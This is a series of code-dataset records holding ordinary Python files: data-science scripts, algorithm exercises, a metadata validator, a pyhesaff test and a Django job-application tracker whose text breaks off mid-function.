+{"seq_id":"616659085","text":"from scipy import spatial\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nimport xlsxwriter\r\n\r\n\r\ndef calculateParam(B, closeNeighbors=5):\r\n    \"\"\"\r\n    we recieve a matrix of bk by rows (row1=b1)\r\n    :return:list of tuples (param,vertex)\r\n    \"\"\"\r\n    dMat = spatial.distance_matrix(B, B)\r\n    dMat = dMat.astype(float)\r\n    np.fill_diagonal(dMat, np.inf)  # diagonal is zeros\r\n    dim, dim = dMat.shape\r\n    paramList = []\r\n    first_40 = 0\r\n    for graphk in range(dim):\r\n        if first_40 < 100:\r\n            first_40 += 1\r\n            dMat_row = np.asarray(dMat[graphk, 0:100])\r\n        else:\r\n            dMat_row = np.asarray(dMat[graphk, graphk - 100:graphk])\r\n        sum = 0\r\n        sorted_row=np.sort(dMat_row)\r\n        for col in range(closeNeighbors):\r\n            sum += sorted_row[col]\r\n        param = 1 / sum\r\n        paramList.append((param, graphk))\r\n\r\n    workbook = xlsxwriter.Workbook('Dmat.xlsx')\r\n    worksheet = workbook.add_worksheet()\r\n    out = open(\"dMat.txt\", \"w\")\r\n    for i in range(dim):\r\n        out.write(str(i) + \"\\t\")\r\n        for j in range(dim):\r\n            out.write(str(dMat[i][j]) + \",\")\r\n            worksheet.write(i, j, str(np.around(dMat[i][j], decimals=4)))\r\n        out.write(\"\\n\")\r\n    workbook.close()\r\n    heatmap(dim, dMat.tolist(), \"graph num\", \"Graphs Distance\", \"graph_dist_single\")\r\n    return paramList\r\n\r\n\r\ndef heatmap(comparr, data, headers, title, path):\r\n    ax = sns.heatmap(data, xticklabels=40, yticklabels=40, vmin=0, vmax=1)\r\n    plt.title(title)\r\n    plt.savefig(path)\r\n    plt.close()\r\n","sub_path":"anomalies/algorithm/AnomalyParameter.py","file_name":"AnomalyParameter.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"23073132","text":"\r\nfrom typing import Deque\r\n\r\nclass Treenode: \r\n    def __init__(self,val): \r\n        self.val = val\r\n        self.left, self.right = None,None \r\n\r\n\r\ndef traverse(root): \r\n    result = Deque( )\r\n\r\n    if root is None: \r\n        return result\r\n\r\n    queue = Deque( )\r\n    queue.append(root)\r\n\r\n    while queue: \r\n        level_size = len(queue)\r\n        current_level = [ ]\r\n\r\n        for x in range(level_size): \r\n            current_node = queue.popleft( )\r\n            current_level.append(current_node.val)\r\n\r\n            if current_node.left: \r\n                queue.append(current_node.left)\r\n\r\n            if current_node.right: \r\n                queue.append(current_node.right)\r\n\r\n\r\n\r\n        result.appendleft(current_level)\r\n\r\n    return result\r\n\r\n\r\ndef main( ): \r\n    root = Treenode(12)\r\n    root.left = Treenode(7)\r\n    root.right = Treenode(1)\r\n    root.left.left = Treenode(9)\r\n    root.right.left = Treenode(10)\r\n    root.right.right = Treenode(5)\r\n    print(f\"level order transversal: {str(traverse(root))}\")\r\n\r\nmain()\r\n\r\n\r\n            \r\n            ","sub_path":"reverse_level_order_traversal.py","file_name":"reverse_level_order_traversal.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"226324816","text":"#!/usr/bin/env python\n\n\"\"\" This script will run in CI and make sure all new changes to datasets readme files have valid metadata yaml headers.\n\n\"\"\"\n\nfrom pathlib import Path\nfrom subprocess import check_output\nfrom typing import List\n\nfrom datasets.utils.metadata import DatasetMetadata\n\n\ndef get_changed_files(repo_path: Path) -> List[Path]:\n    diff_output = check_output([\"git\", \"diff\", \"--name-only\", \"HEAD..origin/master\"], cwd=repo_path)\n    changed_files = [Path(repo_path, f) for f in diff_output.decode().splitlines()]\n    return changed_files\n\n\nif __name__ == \"__main__\":\n    import logging\n    from argparse import ArgumentParser\n\n    logging.basicConfig(level=logging.DEBUG)\n\n    ap = ArgumentParser()\n    ap.add_argument(\"--repo_path\", type=Path, default=Path.cwd())\n    ap.add_argument(\"--check_all\", action=\"store_true\")\n    args = ap.parse_args()\n\n    repo_path: Path = args.repo_path\n    if args.check_all:\n        readmes = [dd / \"README.md\" for dd in (repo_path / \"datasets\").iterdir()]\n    else:\n        changed_files = get_changed_files(repo_path)\n        readmes = [\n            f\n            for f in changed_files\n            if f.exists() and f.name.lower() == \"readme.md\" and f.parent.parent.name == \"datasets\"\n        ]\n\n    failed: List[Path] = []\n    for readme in sorted(readmes):\n        try:\n            DatasetMetadata.from_readme(readme)\n            logging.debug(f\"✅️ Validated '{readme.relative_to(repo_path)}'\")\n        except TypeError as e:\n            failed.append(readme)\n            logging.warning(f\"❌ Failed to validate '{readme.relative_to(repo_path)}':\\n{e}\")\n        except Exception as e:\n            failed.append(readme)\n            logging.warning(f\"⁉️ Something unexpected happened on '{readme.relative_to(repo_path)}':\\n{e}\")\n\n    if len(failed) > 0:\n        logging.info(f\"❌ Failed on {len(failed)} files.\")\n        exit(1)\n    else:\n        logging.info(\"All is well, keep up the good work 🤗!\")\n        exit(0)\n","sub_path":"scripts/datasets_metadata_validator.py","file_name":"datasets_metadata_validator.py","file_ext":"py","file_size_in_byte":1982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"536108893","text":"import sys\n\ncsv=list()\n\nsumall=0 \navg=0.0\ncount = 0\nfor line in sys.stdin:\n\tcount +=1\n\tnum = line.split()\n\tsumall=sumall+ int(num[0])\n\navg=sumall/count\n\nprint ('sum is %s' %sumall)\nprint ('Avg is %s' %avg)\n\n","sub_path":"reducecsv.py","file_name":"reducecsv.py","file_ext":"py","file_size_in_byte":207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"558919802","text":"import requests\nimport json\n\n# This script takes a text file(channels.txt) with a list of channel. Each line represents 1 channel\n# and each line can be comma seperated. The first entry must be the claim id of the channel. Everything behind \n# the comma will be ignored and is used for documentation reasons.\n# Author: Simon Schubert\n\nprint(\"#####################\")\nprint(\"# COTW JSON CREATOR #\")\nprint(\"#####################\")\nprint()\n\ntry:\n    channelsFile = open(\"channels.txt\", \"r\")\nexcept:\n    print(\"Error: channels.txt not found\")\n    print(\"Copy channels.txt into same directory as the python script and run the script again.\")\n    exit()\n\nchannels = []\n\nweek = 1\nfor line in channelsFile.readlines():\n    claimId = line.split(\",\")[0]\n    print(\"Fetch info for COTW \" + str(week) + \": \" + claimId)\n    try:\n        response = requests.post(\"http://localhost:5279\", json={\"method\": \"claim_search\", \"params\": {\"claim_id\": claimId.strip()}}).json()\n    except:\n        print(\"Error: connection to http://localhost:5279\")\n        print(\"Is LBRY running? https://lbry.tech/api/sdk\")\n        exit()\n\n    for item in response[\"result\"][\"items\"]:\n        name = item.get(\"name\", \"\")[1:]\n        title = item[\"value\"].get(\"title\", \"\")\n        if(title == \"\"):\n            title = name\n        thumbnailUrl = item[\"value\"][\"thumbnail\"][\"url\"]\n        tags = item[\"value\"].get(\"tags\", [])\n        channel = {'week': week, 'name':name, 'claimId':claimId, 'title':title, 'thumbnailUrl':thumbnailUrl, 'tags':tags}\n        channels.append(channel)\n\n    week = week+1\n\nchannelsFile.close()\n\nprint(\"Export all.json\")\n\nf = open(\"all.json\", \"w\")\nf.write(json.dumps(channels))\nf.close()\n\nprint(\"Export current.json\")\n\nf = open(\"current.json\", \"w\")\nf.write(json.dumps(channels[-1]))\nf.close()\n\nprint()\nprint(\"Job done :)\")","sub_path":"create_cotw_json.py","file_name":"create_cotw_json.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"379151829","text":"# def greet():\n#     print('Hello')\n#     print(\"Tomas\")\n#     print(\"Goodbay\")\n\n# greet()\n\n# def greet_name(name):\n#     print(f'Hello {name}')\n#     print(f'How do you do {name}')\n\n# greet_name('Tomas')\n\n#Function with more than 1 input\n\n# def greet_with(name, location):\n#     print(f'Hello {name} from {location}.')\n\n# greet_with('Tomas', 'Klaipeda')\n\n#Write your code below this line 👇\n# import math\n# def paint_calc(height, width, cover):\n#      number_of_cans = (height * width)/cover\n#      number_of_cans = math.ceil(number_of_cans)\n#      print(number_of_cans)\n\n#Write your code above this line 👆\n# Define a function called paint_calc() so that the code below works.   \n\n# 🚨 Don't change the code below 👇\n# test_h = int(input(\"Height of wall: \"))\n# test_w = int(input(\"Width of wall: \"))\n# coverage = 5\n# paint_calc(height=test_h, width=test_w, cover=coverage)\n\ndef prime_checker(number):\n     is_prime = True\n     for i in range(2, number):\n          if number % i == 0:\n               is_prime = False\n     if is_prime:\n          print(\"It's a prime number.\")\n     else:\n          print(\"It's not a prime number\")\n\n\n\nn = int(input(\"Check this number: \"))\nprime_checker(number=n)\n","sub_path":"day8.py","file_name":"day8.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"21561175","text":"#_=\r\ndef check_if_prime(number):\r\n    if primenumbers(number) == \"continue\":\r\n        return False\r\n    \r\n    else:\r\n        return True\r\n    \r\ndef primeNumbers_Range(start, finished):\r\n    for number in range(start, finished):\r\n        primenumber = primenumbers(number)\r\n\r\n        if primenumber == \"continue\":\r\n            continue\r\n\r\n        else:\r\n            yield primenumber\r\n        \r\n        \r\ndef primenumbers(number):\r\n\r\n    posible = []   \r\n    # print(\"number: \", number, \"\\n\")\r\n\r\n    # prime number are usely postive, and first one is 2, therefore anything less is a waste\r\n    # of computer resources. however it will still work\r\n    if number < 2:\r\n        try:\r\n            raise ResourceWarning\r\n        except ResourceWarning:\r\n            print(\"start number starts at 2 any thing less than 2 is useless. aka: None are prime\")\r\n    \r\n    # see if number is a prime number\r\n    # it does this by divieding curent number by all of the privouse numbers(dnumber).\r\n    # if the dnumber is 1 or equal to number and its whole number as ans(ALWAYS).\r\n    # then inserts True into posible, saying thats all okay so far\r\n    # if there any ans thats a whole number thats not 1 or itself, then it puts False into\r\n    # posible, saying this is not right.\r\n    # if any Fasle in posible, then that means curnent number is not a prime number\r\n    #ex:\r\n    #prime number:\r\n    # number = 5\r\n    # 5/5 = 1; True\r\n    # 5/4 = 5/4; True\r\n    # 5/3 = 5/3; True\r\n    # 5/2 = 5/2; True\r\n    # 5/1 = 5; True\r\n    # all True therefore, 5 is a prime number\r\n    #not prime number:\r\n    # 4/4 = 1; True\r\n    # 4/3 = 4/3; True\r\n    # 4/2 = 2; Fasle\r\n    # 4/1 = 4; True\r\n    # one or more False therefore, 4 is a not prime number\r\n    \r\n    for dnumber in range(2,number-1):\r\n        #print((dnumber / (number-1)) *100)\r\n\r\n        if not dnumber == 0:\r\n\r\n            ans = number / dnumber\r\n            #print(\"ans\", ans)\r\n\r\n            if dnumber == 1 or dnumber == number:\r\n                if ans.is_integer():\r\n                    posible.insert(dnumber, True)\r\n\r\n                else:\r\n                    posible.insert(dnumber, False)\r\n\r\n            else:\r\n                if ans.is_integer():\r\n                    posible.insert(dnumber, False)\r\n\r\n                else:\r\n                    posible.insert(dnumber, True)\r\n            #print(posible)\r\n\r\n    if False in posible:\r\n        # print(\"{} number is not a prime.\".format(number))\r\n        return \"continue\"\r\n    \r\n    else:\r\n        # print(\"{} number is a prime number!!!!!!!\".format(number))\r\n        return number\r\n\r\n#print(check_if_prime(7919))\r\nfor number in primeNumbers_Range(2, 10000):\r\n    print(number)\r\n\r\n\r\n\r\n","sub_path":"primnumbers.py","file_name":"primnumbers.py","file_ext":"py","file_size_in_byte":2684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"138249002","text":"import urllib2, json\nimport random\n\nassets = [\n{\"_id\" : \"John\", \"type\" : \"person\", \"attributes\" : {\"name\" : \"John Lennon\", \"job\" : \"driver\"}},\n{\"_id\" : \"Paul\", \"type\" : \"person\", \"attributes\" : {\"name\" : \"Paul McCartney\", \"job\" : \"medic\"}},\n{\"_id\" : \"George\", \"type\" : \"person\", \"attributes\" : {\"name\" : \"George Harrison\", \"job\" : \"medic\"}},\n{\"_id\" : \"Ringo\", \"type\" : \"person\", \"attributes\" : {\"name\" : \"Ringo Starr\", \"job\" : \"engineer\"}},\n{\"_id\" : \"vehicle1\", \"type\" : \"vehicle\", \"geometry\" : { \"type\" : \"point\", \"coordinates\" : [-0.08617401123046874, 51.52487262675978]}, \"containing\" : [\"John\", \"Paul\", \"George\", \"Ringo\"]},\n{\"_id\" : \"vehicle2\", \"type\" : \"vehicle\", \"geometry\" : { \"type\" : \"point\", \"coordinates\" : [-0.07836341857910156, 51.52528648801461]}},\n{\"_id\" : \"vehicle3\", \"type\" : \"vehicle\", \"geometry\" : { \"type\" : \"point\", \"coordinates\" : [-0.08703231811523438, 51.52284331713511]}},\n{\"_id\" : \"vehicle4\", \"type\" : \"vehicle\", \"geometry\" : { \"type\" : \"point\", \"coordinates\" : [-0.08934974670410155, 51.52599404854359]}},\n{\"_id\" : \"vehicle5\", \"type\" : \"vehicle\", \"geometry\" : { \"type\" : \"point\", \"coordinates\" : [-0.08986473083496094, 51.52615424940099]}},\n{\"_id\" : \"vehicle6\", \"type\" : \"vehicle\", \"geometry\" : { \"type\" : \"point\", \"coordinates\" : [-0.07973670959472656, 51.52922465690234]}},\n{\"_id\" : \"vehicle7\", \"type\" : \"vehicle\", \"geometry\" : { \"type\" : \"point\", \"coordinates\" : [-0.076904296875     , 51.52492602842339]}},\n{\"_id\" : \"vehicle8\", \"type\" : \"vehicle\", \"geometry\" : { \"type\" : \"point\", \"coordinates\" : [-0.08359909057617188, 51.52212235641814]}},\n{\"_id\" : \"vehicle9\", \"type\" : \"vehicle\", \"geometry\" : { \"type\" : \"point\", \"coordinates\" : [-0.08990764617919922, 51.5212945726301 ]}},\n{\"_id\" : \"vehicle10\", \"type\" : \"vehicle\", \"geometry\" : { \"type\" : \"point\", \"coordinates\" : [-0.08475780487060547, 51.52537994003543]}},\n{\"_id\" : \"vehicle11\", \"type\" : \"vehicle\", \"geometry\" : { \"type\" : \"point\", \"coordinates\" : [-0.08065938949584961, 51.52513963445152]}}\n]\n\ncategories = [\n    {\"_id\" : \"vehicle\", \"icon\" : {\"name\" : \"vehicle\", \"colour\" : \"blue\"}},\n    {\"_id\" : \"person\", \"icon\" : {\"name\" : \"person\", \"colour\" : \"red\"}}\n]\n\nvehno = 20\nfor asset in assets:\n    if asset['type'] == 'vehicle':\n        attribs = {}\n        attribs['VehicleID'] = vehno\n        vehno = vehno + 1\n        attribs[\"Callsign\"] = 'M' + str(random.randint(0,6)) +  chr(random.randint(1, 25) + 65)  + chr(random.randint(1, 25) + 65)   + chr(random.randint(1, 25) + 65)\n        attribs['Type'] = random.choice(['Landrover 110','Landrover 90','Mitsubishi Shogun','Jeep'])\n        attribs['Winch'] = random.choice(['Yes','No'])\n        attribs['Status'] = random.choice(['Available','Tasked','Unserviceable'])\n        if(attribs['Status'] == 'Tasked'):\n            attribs['TaskedUntil'] = random.choice(['12:00','12:30','12:45','13:00','13:15'])\n        asset['attributes'] = attribs\n\n    req = urllib2.Request(\"http://127.0.0.1:8080/asset\", json.dumps(asset), {\"Content-Type\": \"application/json\"})\n    res = urllib2.urlopen(req)\n    assert res.getcode() == 201\n\nfor cat in categories:\n    req = urllib2.Request(\"http://127.0.0.1:8080/category\", json.dumps(cat), {\"Content-Type\": \"application/json\"})\n    res = urllib2.urlopen(req)\n    assert res.getcode() == 201\n","sub_path":"win-loader.py","file_name":"win-loader.py","file_ext":"py","file_size_in_byte":3257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"205113585","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, division, print_function\nimport numpy as np\nfrom six.moves import zip\nimport utool as ut\n\n\ndef test_simple_parallel():\n    r\"\"\"\n    CommandLine:\n        python -m tests.test_pyhesaff_simple_parallel --test-test_simple_parallel --show\n\n    Example:\n        >>> # ENABLE_DOCTEST\n        >>> from tests.test_pyhesaff_simple_parallel import *  # NOQA\n        >>> import matplotlib as mpl\n        >>> from matplotlib import pyplot as plt\n        >>> img_fpaths, kpts_array, desc_array = test_simple_parallel()\n        >>> ut.quit_if_noshow()\n        >>> # Do not plot by default\n        >>> fig = plt.figure()\n        >>> for count, (img_fpath, kpts, desc) in enumerate(zip(img_fpaths, kpts_array,\n        >>>                                                     desc_array)):\n        >>>     if count > 3:\n        >>>         break\n        >>>     ax = fig.add_subplot(2, 2, count + 1)\n        >>>     img = mpl.image.imread(img_fpath)\n        >>>     plt.imshow(img)\n        >>>     _xs, _ys = kpts.T[0:2]\n        >>>     ax.plot(_xs, _ys, 'ro', alpha=.5)\n        >>> ut.show_if_requested()\n    \"\"\"\n    import pyhesaff\n\n    test_fnames = ['carl.jpg', 'lena.png', 'zebra.png', 'ada.jpg', 'star.png']\n    img_fpaths = list(map(ut.grab_test_imgpath, test_fnames)) * 2\n\n    # Time parallel computation\n    with ut.Timer('Timing Parallel'):\n        kpts_array, desc_array = pyhesaff.detect_feats_list(img_fpaths)\n\n    # Time serial computation\n    kpts_list2 = []\n    desc_list2 = []\n    with ut.Timer('Timing Iterative'):\n        for img_fpath in img_fpaths:\n            kpts_, desc_ = pyhesaff.detect_feats(img_fpath)\n            kpts_list2.append(kpts_)\n            desc_list2.append(desc_)\n\n    print('Checking for errors')\n    for (kpts_, desc_, kpts, desc) in zip(kpts_list2, desc_list2, kpts_array, desc_array):\n        print(\n            'shape(kpts, kpts_, desc, desc_) = %9r, %9r, %11r, %11r'\n            % (kpts.shape, kpts_.shape, desc.shape, desc_.shape)\n        )\n        try:\n            assert np.all(kpts_ == kpts), 'parallel computation inconsistent'\n            assert np.all(desc_ == desc), 'parallel computation inconsistent'\n            assert len(kpts_) > 0, 'no kpts detected'\n            # assert False, 'deliberate triggering to see printouts'\n        except Exception as ex:\n            ut.printex(ex)\n            raise\n    print('Keypoints seem consistent')\n    return img_fpaths, kpts_array, desc_array\n\n\nif __name__ == '__main__':\n    \"\"\"\n    CommandLine:\n        python -m tests.test_pyhesaff_simple_parallel\n        python -m tests.test_pyhesaff_simple_parallel --allexamples\n        python -m tests.test_pyhesaff_simple_parallel --allexamples --noface --nosrc\n    \"\"\"\n    import multiprocessing\n\n    multiprocessing.freeze_support()  # for win32\n    import utool as ut  # NOQA\n\n    ut.doctest_funcs()\n","sub_path":"tests/test_pyhesaff_simple_parallel.py","file_name":"test_pyhesaff_simple_parallel.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"473305203","text":"import sklearn.datasets as sd\nimport sklearn.tree as st\nimport sklearn.utils as su\nimport sklearn.metrics as sm\nimport sklearn.ensemble as se\n\n\nclass Adaboost:\n    def __init__(self, xs, ys):\n        self.xs = xs\n        self.ys = ys\n        self.train_x = self.test_x = None\n        self.train_y = self.test_y = None\n        self.shuffle_data()\n        self.model = None\n\n    def shuffle_data(self):\n        x, y = su.shuffle(self.xs, self.ys, random_state=7)\n        train_size = int(len(x) * 0.8)\n        self.train_x, self.test_x = x[:train_size], x[train_size:]\n        self.train_y, self.test_y = y[:train_size], y[train_size:]\n\n    def train(self):\n        self.model = st.DecisionTreeRegressor(max_depth=4)\n        self.model = se.AdaBoostRegressor(self.model, n_estimators=400, random_state=7)\n        self.model.fit(self.train_x, self.train_y)\n\n    def test(self):\n        pred_test_y = self.model.predict(self.test_x)\n        print(sm.r2_score(self.test_y, pred_test_y))\n        print(sm.mean_absolute_error(self.test_y, pred_test_y))\n\n    def decision_tree_regress(self):\n        model = st.DecisionTreeRegressor(max_depth=4)\n        model.fit(self.train_x, self.train_y)\n        # predict\n        pred_test_y = model.predict(self.test_x)\n        # estimate\n        print(sm.r2_score(self.test_y, pred_test_y))\n        print(sm.mean_absolute_error(self.test_y, pred_test_y))\n\n\nif __name__ == '__main__':\n    boston = sd.load_boston()\n    print(boston.data.shape, boston.data[0])\n    print(boston.target.shape, boston.target[0])\n    print(boston.feature_names)\n\n    adb = Adaboost(boston.data, boston.target)\n    adb.train()\n    adb.test()\n\n    print('-'*45)\n    adb.decision_tree_regress()","sub_path":"DecisionTree/adaboost.py","file_name":"adaboost.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"377547174","text":"# sets x to 5\nx = 5\n\n# tests if x is 7\nif x == 7:\n    # if x is 7 test if it is less than 10\n    if x < 10:\n        # shows the text in the console\n        print(\"X equal to 7 and 10\")\nelse:\n    # if x is not 7 then show this text in the console\n    print(\"X not equal to 7\")  \n","sub_path":"Learning Python/week1.py","file_name":"week1.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"461323429","text":"\r\nnums = [1, 7, 4, 9, 2, 5]\r\nnums = [30, 1, 17, 5, 10, 13, 15, 10, 5, 16, 8]\r\n\r\n\r\ndef wiggleUp(nums):\r\n  seq = [-float('inf')]\r\n\r\n  for n in nums:\r\n    if len(seq) % 2 == 1:  # next should be higher\r\n      if n > seq[-1]:\r\n        seq.append(n)\r\n      else:\r\n        seq[-1] = n\r\n    else:  # next should be lower\r\n      if n < seq[-1]:\r\n        seq.append(n)\r\n      else:\r\n        seq[-1] = n\r\n\r\n  if seq[0] == -float('inf'):\r\n    del seq[0]\r\n\r\n  print(seq)\r\n  return len(seq)\r\n\r\n\r\nu = wiggleUp(nums)\r\nd = wiggleUp([-n for n in nums])\r\nprint(u, d)\r\n\r\n\r\nup = 1\r\ndown = 1\r\n\r\nfor i in range(1, len(nums)):\r\n  if nums[i] > nums[i-1]:\r\n    up, down = down+1, down\r\n  if nums[i] < nums[i-1]:\r\n    up, down = up, up+1\r\n\r\nprint(up, down)\r\n\r\ns = set(range(10**9))\r\n","sub_path":"376WiggleSubsequence.py","file_name":"376WiggleSubsequence.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"403950946","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth import login, get_user_model\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.views.generic.edit import CreateView, UpdateView, DeleteView\nfrom django.views.generic import ListView, DetailView\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.http import JsonResponse, HttpResponseRedirect\nfrom django.core import serializers\nfrom django import forms\nfrom .models import User, Contact, Landmark, Application\nfrom .forms import *\nfrom .packages import CareerjetAPIClient\nimport requests\nfrom django.forms import Textarea\nimport os\nimport uuid\nimport boto3\n\n\nS3_BASE_URL = 'https://s3.amazonaws.com/'\nBUCKET = 'jobbly'\n\ndef home(request):\n    return render(request, 'home.html')\n@login_required\ndef index(request):\n    news_key = os.environ['NEWS_API_KEY']\n    news_url = ('https://newsapi.org/v2/top-headlines?''country=ca&''category=technology&' 'page=1&' 'pageSize=15&' f'apiKey={news_key}')\n    news_response = requests.get(news_url)\n    news = news_response.json()\n    return render(request, 'users/index.html', { 'news':news })\n    \ndef about(request):\n    return render(request, 'about.html')\n\ndef team(request):\n    return render(request, 'team.html')\n\ndef signup(request):\n    error_message = ''\n    if request.method == 'POST':\n        form = UserCreationForm(request.POST)\n        if form.is_valid():\n            user = form.save()\n            login(request, user)\n            return redirect('edit_profile')\n        else:\n            error_message = 'Invalid sign up - try again'\n    form = UserCreationForm()\n    context={'form': form, 'error_message': error_message}\n    return render(request, 'registration/signup.html', context)\n\n@login_required\ndef profile(request):\n    return render(request, 'profile.html', { 'user': request.user})\n\n@login_required\ndef edit_profile(request):\n    error_message = ''\n    if request.method == 'POST':\n        user_form = UserForm(request.POST, instance=request.user)\n        profile_form = ProfileForm(request.POST, instance=request.user.profile)\n        if user_form.is_valid() and profile_form.is_valid():\n            user_form.save()\n            profile_form.save()\n            return redirect('profile')\n        else:\n            error_message = 'Please correct the error below.'\n    else:\n        user_form = UserForm(instance=request.user)\n        profile_form = ProfileForm(instance=request.user.profile)\n    return render(request, 'edit_profile.html', {\n        'user_form': user_form,\n        'profile_form': profile_form,\n        'error_message': error_message,\n    })\n\n@login_required\ndef delete(request):\n    user = request.user\n    user.is_active = False\n    user.save()\n    return redirect('home')\n\n@login_required\ndef confirm_delete(request):\n    return render(request, 'users/account_confirm_delete.html')\n\ndef job_search_api(request):\n    search_term = request.GET.get('searchTerm')\n    location = request.GET.get('location') \n    cj  =  CareerjetAPIClient(\"en_CA\")\n    job_data = cj.search({\n                        'location'    : location,\n                        'keywords'    : search_term,\n                        'affid'       : os.environ['CAREERJET_API_KEY'],\n                        'user_ip'     : '72.143.53.170',\n                        'url'         : 'http://localhost:8000/jobsearch?q=python&l=london',\n                        'user_agent'  : 'Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0'\n    })\n    return JsonResponse(job_data, safe=False)\n\ndef job_search(request):\n    url = request.GET.get('url')\n    if request.user:\n        location = request.user.profile.joblocation\n        location_string = location.replace(' ', '+').replace(',', '%2C')\n        url = url + '&l=' + location_string\n    base_url = 'https://www.simplyhired.ca'\n    page = requests.get(url)\n    soup = BeautifulSoup(page.content, 'html.parser')\n    results = soup.find(id='job-list')\n    job_elems = results.find_all('div', class_='SerpJob-jobCard')\n    job_data = []\n\n    for job in job_elems:\n        title_elem = job.find('a', class_='card-link')\n        info = {\n            'job_link' : base_url + title_elem['href'],\n            'title' : title_elem.text,\n            'company' : job.find('span', class_='jobposting-company').text,\n            'location' : job.find('span', class_='jobposting-location').text,\n            'description' : job.find('p', class_='jobposting-snippet').text,\n        }\n        job_data.append(info)\n    return JsonResponse(job_data, safe=False)\n\ndef get_calendar(request):\n    user = request.user\n    event_qs = Landmark.objects.filter(application__user_id=user.id)\n    data = []\n    for event in event_qs:\n        data.append({\n            'title': f'{event.name}, {event.application.company}',\n            'start': event.start_date_time,\n            'end': event.end_date_time,\n            'url': f'/applications/{event.application.id}',\n        })\n        if event.followup:\n            data.append({\n                'title': f'Follow up for {event.application.company} {event.name}',\n                'start': event.followup,\n                'url': f'/applications/{event.application.id}',\n            })\n    return JsonResponse(data, safe=False)\n\n@login_required\ndef calendar(request):\n    return render(request, 'calendar.html')\n\n@login_required\ndef contacts_index(request):\n    contacts = Contact.objects.filter(user=request.user).order_by('name')\n    return render(request, 'contacts/index.html', {'contacts': contacts })\n\ndef get_contacts(request):\n    contacts = Contact.objects.filter(user=request.user)\n    contacts_data = []\n    for contact in contacts:\n        if contact.application:\n            contacts_data.append({\n                'name': f'{contact.name}',\n                'email': f'{contact.email}',\n                'linkedin': f'{contact.linkedin}',\n                'notes': f'{contact.notes}',\n                'company': f'{contact.application.company}',\n                'application': f'{contact.application.jobtitle}',\n                'id':f'{contact.id}'\n            })\n        else:\n            contacts_data.append({\n                'name': f'{contact.name}',\n                'email': f'{contact.email}',\n                'linkedin': f'{contact.linkedin}',\n                'notes': f'{contact.notes}',\n                'id':f'{contact.id}'\n            })\n\n\n    return JsonResponse(contacts_data, safe=False)\n\n@login_required\ndef add_contact(request, application_id):\n    form = ContactForm(request.POST)\n    if form.is_valid():\n        new_contact = form.save(commit=False)\n        new_contact.application_id = application_id\n        new_contact.user_id = request.user.id\n        new_contact.save()\n    return redirect('applications_detail', application_id = application_id)\n\nclass ContactCreate(LoginRequiredMixin, CreateView):\n    model = Contact\n    success_url = '/contacts/index/'\n    form_class = ContactForm\n\n    def form_valid(self, form):\n        form.instance.user = self.request.user\n        return super().form_valid(form)\n    \n\nclass ContactUpdate(LoginRequiredMixin, UpdateView):\n    model = Contact\n    success_url = '/contacts/index/'\n    form_class = ContactForm\n\nclass ContactDelete(LoginRequiredMixin, DeleteView):\n    model = Contact\n    success_url ='/contacts/index/'\n\n@login_required\ndef application(request):\n    application = Application.objects.filter(user = request.user)\n    profile_form = ProfileForm()\n    return render(request, 'applications/index.html', { 'applications': application })\n\n@login_required\ndef applications_detail(request, application_id):\n    application = Application.objects.get(id=application_id)\n    landmark_form = LandmarkForm()\n    contact_form = ContactForm()\n    return render(request, 'applications/detail.html', { 'application': application, 'landmark_form': landmark_form, 'contact_form': contact_form })\n\ndef remove_resume(request, application_id):\n    application = Application.objects.get(pk=application_id)\n    #switch sessions to profile if running on local host\n    #session = boto3.Session(profile_name='jobbly')\n    session = boto3.Session()\n    jobbly_s3 = session.client('s3')\n    try:\n        jobbly_s3.delete_object(Bucket=BUCKET, Key=application.resumekey)\n    except Exception as e:\n        print(e)\n    return redirect('applications_update', pk=application_id)\n\n@login_required\ndef application_create_from_search(request):\n    application_form = ApplicationForm()\n    \n    return render(request, 'job_tracker/application_form_populated.html', {'application_form': application_form, 'jobtitle': request.POST['jobtitle'], 'company': request.POST['company'], 'joblisting': request.POST['joblisting']})\n\n\nclass ApplicationCreate(LoginRequiredMixin, CreateView):\n    model = Application\n    form_class = ApplicationForm\n    success_url = '/applications/'\n\n    def form_valid(self, form):\n        form.instance.user = self.request.user\n        resume_file = self.request.FILES.get('resume-file', None)\n\n        if resume_file:\n            #switch sessions to profile if running on local host\n            #session = boto3.Session(profile_name='jobbly')\n            session = boto3.Session()\n            jobbly_s3 = session.client('s3')\n            key = uuid.uuid4().hex[:6] + resume_file.name[resume_file.name.rfind('.'):]\n            try:\n                jobbly_s3.upload_fileobj(resume_file, 